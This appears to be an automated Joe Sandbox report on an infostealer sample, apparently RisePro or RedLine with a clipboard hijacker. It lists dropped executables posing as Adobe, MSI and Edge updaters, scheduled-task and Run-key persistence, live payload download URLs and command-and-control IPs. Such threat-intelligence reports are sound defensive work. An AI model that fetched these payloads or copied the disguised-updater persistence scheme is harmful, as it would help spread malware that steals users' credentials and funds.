DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Valid Accounts	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	11 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	32%	ReversingLabs	Win32.Trojan.ClipBankercoin
file.exe	100%	Avira	HEUR/AGEN.1304046

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\l2[1].exe	100%	Avira	HEUR/AGEN.1304053
C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	100%	Avira	HEUR/AGEN.1304053
C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\hcMSmyGUCSEFc2FAKlzc.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\k[1].exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	100%	Avira	HEUR/AGEN.1304053
C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	80%	Virustotal		Browse
C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	80%	Virustotal		Browse
C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	80%	Virustotal		Browse
C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	80%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\k[1].exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\k[1].exe	80%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\l2[1].exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\l2[1].exe	80%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	80%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\EdgeMS2_c81e728d9d4c2f636f067f89cc14862c\EdgeMS2.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\EdgeMS2_c81e728d9d4c2f636f067f89cc14862c\EdgeMS2.exe	80%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\hcMSmyGUCSEFc2FAKlzc.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\hcMSmyGUCSEFc2FAKlzc.exe	80%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe	80%	Virustotal		Browse
C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	80%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
easy2buy.ae	4%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
http://193.233.132.175/server/k/l2.exe	20%	Virustotal		Browse
https://easy2buy.ae/	3%	Virustotal		Browse
https://easy2buy.ae/wp-content/upgrade/k.exe	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ipinfo.io	34.117.186.192	true	false		high
easy2buy.ae	185.199.220.53	true	false	4%, Virustotal, Browse	unknown
db-ip.com	104.26.5.15	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/widget/demo/81.181.57.52	false		high
https://easy2buy.ae/wp-content/upgrade/k.exe	false	0%, Virustotal, Browse	unknown
http://193.233.132.175/server/k/l2.exe	true	20%, Virustotal, Browse	unknown
https://db-ip.com/demo/home.php?s=81.181.57.52	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2104662716.0000000006658000.00000004.00000020.00020000.00000000.sdmp, H4VYK_JIpU1TWeb Data.0.dr, EdetWCNLNo9NWeb Data.0.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2104662716.0000000006658000.00000004.00000020.00020000.00000000.sdmp, H4VYK_JIpU1TWeb Data.0.dr, EdetWCNLNo9NWeb Data.0.dr	false		high
https://sectigo.com/CPS0	file.exe, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, oobeldr.exe.7.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2104662716.0000000006658000.00000004.00000020.00020000.00000000.sdmp, H4VYK_JIpU1TWeb Data.0.dr, EdetWCNLNo9NWeb Data.0.dr	false		high
http://ocsp.sectigo.com0	file.exe, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, oobeldr.exe.7.dr	false	URL Reputation: safe	unknown
https://easy2buy.ae/wp-content/upgrade/k.exei	file.exe, 00000000.00000002.4492597224.000000000172E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2255465560.000000000172B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2282613958.000000000172C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.233.132.175/server/k/l2.exev	file.exe, 00000000.00000002.4493848204.00000000062F1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://db-ip.com/	file.exe, 00000000.00000002.4492597224.000000000172E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2255465560.000000000172B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2282613958.000000000172C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2104662716.0000000006658000.00000004.00000020.00020000.00000000.sdmp, H4VYK_JIpU1TWeb Data.0.dr, EdetWCNLNo9NWeb Data.0.dr	false		high
https://t.me/RiseProSUPPORT	file.exe, 00000000.00000002.4493848204.0000000006306000.00000004.00000020.00020000.00000000.sdmp, Xfp4MT9n1IFhi1hjXC4bx59.zip.0.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2104662716.0000000006658000.00000004.00000020.00020000.00000000.sdmp, H4VYK_JIpU1TWeb Data.0.dr, EdetWCNLNo9NWeb Data.0.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2104662716.0000000006658000.00000004.00000020.00020000.00000000.sdmp, H4VYK_JIpU1TWeb Data.0.dr, EdetWCNLNo9NWeb Data.0.dr	false		high
https://ipinfo.io/Mozilla/5.0	file.exe, 00000000.00000002.4492597224.00000000016D4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2107651287.00000000062F1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ipinfo.io/Content-Type:	file.exe, 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmp	false		high
https://ipinfo.io/widget/demo/81.181.57.52J-	file.exe, 00000000.00000002.4492597224.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ipinfo.io:443/widget/demo/81.181.57.52e	file.exe, 00000000.00000002.4492597224.00000000016D4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://easy2buy.ae:80/wp-content/upgrade/k.exe	file.exe, 00000000.00000002.4494156670.0000000006694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2282645633.00000000066A1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ns.exif/1U	file.exe, 00000000.00000002.4493331153.0000000003337000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2104662716.0000000006658000.00000004.00000020.00020000.00000000.sdmp, H4VYK_JIpU1TWeb Data.0.dr, EdetWCNLNo9NWeb Data.0.dr	false		high
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	file.exe, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, oobeldr.exe.7.dr	false	URL Reputation: safe	unknown
https://t.me/risepro_bot	file.exe, 00000000.00000003.2282613958.000000000172C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ipinfo.io/	file.exe, 00000000.00000002.4492597224.0000000001691000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4492597224.00000000016D4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4492597224.000000000172E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2255465560.000000000172B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2282613958.000000000172C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ipinfo.io/sR	file.exe, 00000000.00000002.4492597224.0000000001691000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.maxmind.com/en/locate-my-ip-address	file.exe, 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmp	false		high
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	file.exe, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, oobeldr.exe.7.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2104662716.0000000006658000.00000004.00000020.00020000.00000000.sdmp, H4VYK_JIpU1TWeb Data.0.dr, EdetWCNLNo9NWeb Data.0.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	file.exe, 00000000.00000003.2107651287.00000000062F1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.175/server/k/l2.execom	file.exe, 00000000.00000002.4492597224.000000000172E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2255465560.000000000172B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2282613958.000000000172C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.winimage.com/zLibDll	file.exe, 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmp	false		high
https://ipinfo.io/j	file.exe, 00000000.00000002.4492597224.00000000016BA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://db-ip.com:443/demo/home.php?s=81.181.57.52z	file.exe, 00000000.00000002.4492597224.00000000016E0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://easy2buy.ae:80/wp-content/upgrade/k.exey4	file.exe, 00000000.00000002.4494156670.0000000006694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2282645633.00000000066A1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://easy2buy.ae/	file.exe, 00000000.00000002.4494156670.000000000666F000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse	unknown
http://ns.microsofo/1.2/	file.exe, 00000000.00000002.4493331153.0000000003337000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2104662716.0000000006658000.00000004.00000020.00020000.00000000.sdmp, H4VYK_JIpU1TWeb Data.0.dr, EdetWCNLNo9NWeb Data.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.117.186.192	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
193.233.132.47	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
104.26.5.15	db-ip.com	United States	13335	CLOUDFLARENETUS	false
193.233.132.175	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
185.199.220.53	easy2buy.ae	United Kingdom	12488	KRYSTALGR	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1429350
Start date and time:	2024-04-22 01:17:04 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@36/36@3/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:18:14	Task Scheduler	Run new task: MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR path: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
01:18:14	Task Scheduler	Run new task: MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG path: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
01:18:16	Task Scheduler	Run new task: Telemetry Logging path: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
01:18:16	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe
01:18:18	Task Scheduler	Run new task: MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c HR path: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe
01:18:18	Task Scheduler	Run new task: MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c LG path: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe
01:18:18	API Interceptor	4826482x Sleep call for process: file.exe modified
01:18:24	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe
01:18:32	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe
01:18:41	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe
01:18:49	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk
01:18:51	API Interceptor	1803415x Sleep call for process: oobeldr.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.117.186.192	SecuriteInfo.com.Win32.Evo-gen.24318.16217.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	SecuriteInfo.com.Win32.Evo-gen.28489.31883.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	Raptor.HardwareService.Setup 1.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	w.sh	Get hash	malicious	Xmrig	Browse	/ip
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	uUsgzQ3DoW.exe	Get hash	malicious	RedLine	Browse	ipinfo.io/ip
	8BZBgbeCcz.exe	Get hash	malicious	RedLine	Browse	ipinfo.io/ip
193.233.132.47	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
104.26.5.15	SecuriteInfo.com.Win64.Evo-gen.17494.7440.exe	Get hash	malicious	Unknown	Browse	api.db-ip.com/v2/free/127.0.0.1
	Nemty.exe	Get hash	malicious	Nemty	Browse	api.db-ip.com/v2/free/84.17.52.2/countryName
	227.exe	Get hash	malicious	Nemty	Browse	api.db-ip.com/v2/free/102.129.143.40/countryName
193.233.132.175	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	193.233.132.175/server/k/l2.exe
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	193.233.132.175/server/k/l2.exe
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	193.233.132.175/server/k/l2.exe
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	193.233.132.175/server/k/l2.exe
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	193.233.132.175/server/k/l2.exe
	file.exe	Get hash	malicious	Clipboard Hijacker, PrivateLoader, RisePro Stealer	Browse	193.233.132.175/server/k/l2.exe
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	193.233.132.175/server/k/l2.exe
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	193.233.132.175/server/k/l2.exe
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	193.233.132.175/server/k/l2.exe
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	193.233.132.175/server/k/l2.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ipinfo.io	Dj43d18ukx.exe	Get hash	malicious	DCRat	Browse	34.117.186.192
	SenPalia.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	UnderWars.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	SenPalia.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	UnderWars.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	2q45IEa3Ee.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse	34.117.186.192
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	34.117.186.192
	SajWKdHxdF.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	file.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	SenPalia.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
db-ip.com	2q45IEa3Ee.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse	104.26.5.15
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	104.26.4.15
	SajWKdHxdF.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	s2dwlCsA95.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Get hash	malicious	Amadey, RedLine, RisePro Stealer	Browse	104.26.5.15
	UeW2b6mU6Z.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	104.26.5.15
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	dendy.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	Q73YlTAmWe.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
easy2buy.ae	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	185.199.220.53
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	185.199.220.53
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	185.199.220.53

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FREE-NET-ASFREEnetEU	2q45IEa3Ee.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse	193.233.132.253
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	193.233.132.175
	SajWKdHxdF.exe	Get hash	malicious	RisePro Stealer	Browse	193.233.132.226
	SajWKdHxdF.exe	Get hash	malicious	RisePro Stealer	Browse	193.233.132.226
	file.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	jNeaezBuo8.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	193.233.132.175
	74fa486WVX.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	193.233.132.234
	qk9TaBBxh8.exe	Get hash	malicious	LummaC, Glupteba, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	193.233.132.226
	s2dwlCsA95.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	SecuriteInfo.com.Win32.Evo-gen.29833.28353.exe	Get hash	malicious	Amadey	Browse	193.233.132.56
KRYSTALGR	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	185.199.220.53
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	185.199.220.53
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	185.199.220.53
	https://alchemyhospitality.co.uk/sl.PDF	Get hash	malicious	HTMLPhisher	Browse	185.199.220.50
	https://alchemyhospitality.co.uk/qw.PDF	Get hash	malicious	Unknown	Browse	185.199.220.50
	https://alchemyhospitality.co.uk/nb.PDF	Get hash	malicious	Unknown	Browse	185.199.220.50
	https://dannypardoe.co.uk/qw.PDF	Get hash	malicious	HTMLPhisher	Browse	185.199.220.72
	http://annekamistry.co.uk/zx.PDF	Get hash	malicious	HTMLPhisher	Browse	77.72.1.34
	https://tinyurl.com/Oakwood-University	Get hash	malicious	Unknown	Browse	185.199.220.53
	https://www.dgm-airport-transfers.co.uk/rs.PDF	Get hash	malicious	Unknown	Browse	185.199.220.72
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	Dj43d18ukx.exe	Get hash	malicious	DCRat	Browse	34.117.186.192
	SenPalia.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	UnderWars.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	SenPalia.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	UnderWars.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	2q45IEa3Ee.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse	34.117.186.192
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	34.117.186.192
	SajWKdHxdF.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	file.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	http://134.213.29.14:82/grep.x86_64	Get hash	malicious	IPRoyal Pawns	Browse	34.117.121.53
CLOUDFLARENETUS	https://shiny-haze-e3f9.oriental-chef-hrg9939.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://pub-a7051849f97e40258b2898070eea69ef.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	104.18.3.35
	https://yxv.ens.mybluehost.me/Ca/net/login.php	Get hash	malicious	Unknown	Browse	162.247.243.29
	https://yzkgxjyz0y4417anol.pages.dev/smart89/	Get hash	malicious	Unknown	Browse	172.66.45.32
	https://pub-ad26986ae16e4366a1d34c587ca0df93.r2.dev/megme.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://topwingroups.top/login.php	Get hash	malicious	Unknown	Browse	104.21.19.92
	https://pub-cece57d8d2864d24b41d6f56ef2fee01.r2.dev/light.html	Get hash	malicious	HTMLPhisher	Browse	104.18.2.35
	https://www.itstoreindia.com/web/info.php	Get hash	malicious	DHL Phishing	Browse	104.21.36.246
	https://funne.freewebhostmost.com/DHL-MULTI_M-2024/MTTRBDFH/	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://shark-app-yihx7.ondigitalocean.app/	Get hash	malicious	TechSupportScam	Browse	172.66.0.96
FREE-NET-ASFREEnetEU	2q45IEa3Ee.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse	193.233.132.253
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	193.233.132.175
